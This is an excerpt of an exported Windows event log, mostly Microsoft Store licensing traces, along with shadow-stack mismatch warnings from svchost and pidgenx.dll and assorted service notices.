ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:57:50.532\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:50.533\t100\tClipSVC service is starting.  Caller: TriggerStarted\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:50.535\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:50.545\t8001\t\"Considering License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.545\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.545\t8001\t\"Accepting key with License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for Content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.545\t8001\t\"Returning key document for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.545\t8001\t\"Getting lease for 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8001\t\"Adding lease {941FBCC0-EC32-D9CB-EB46-FC3AE38EC79B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8001\t\"Returning 1 lease documents for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8001\t\"lease = 0x831abdd8, usage = 268435456, policy = 1, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8011\t0x21f831d3840: 13532: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"lease = 0x831abdd8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Lease Machine: 0000021F8312B800: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Set results for lease = 0x831abdd8, policy = 1, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831abdd8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8012\t0x21f831d3840: 13532: Key:NegotiatingUnleased Change: Key:Valid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8011\t0x21f831d3840: 13532: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8011\t0x21f8312b820: 8012: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8012\t0x21f8312b820: 8012: Lease:Initial Change: Lease:Valid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"ReactiveLicensingResult: 0x00000000 for A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6, 94ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.555\t8001\t\"Updating lease timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9} to expire @ 2026-09-05T02:37:58Z (jitter was 40.129745 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.555\t8001\t\"Added timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.555\t8011\t0x21f8312b820: 8012: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8c7243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdb240, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8bfda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdbf00, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8c90c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdbf09, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8c06ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdbf28, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8b89fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdbf20, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.568\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:50.568\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:50.705\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:57:50.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:51.078\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:51.214\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:51.214\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:51.222\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.222\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.222\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.222\t8001\t\"0000021F831D31E0: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.222\t8011\t0x21f83133e68: 8012: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.223\t8011\t0x21f831d3200: 8012: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.223\t8001\t\"0000021F831D31E0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.223\t8012\t0x21f831d3200: 8012: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"lease = 0x831ab8c8, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"lease = 0x831ab8c8, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8011\t0x21f831d3200: 8012: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"lease = 0x831ab8c8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Lease Machine: 0000021F8312A800: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Set results for lease = 0x831ab8c8, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831ab8c8\nFunction: 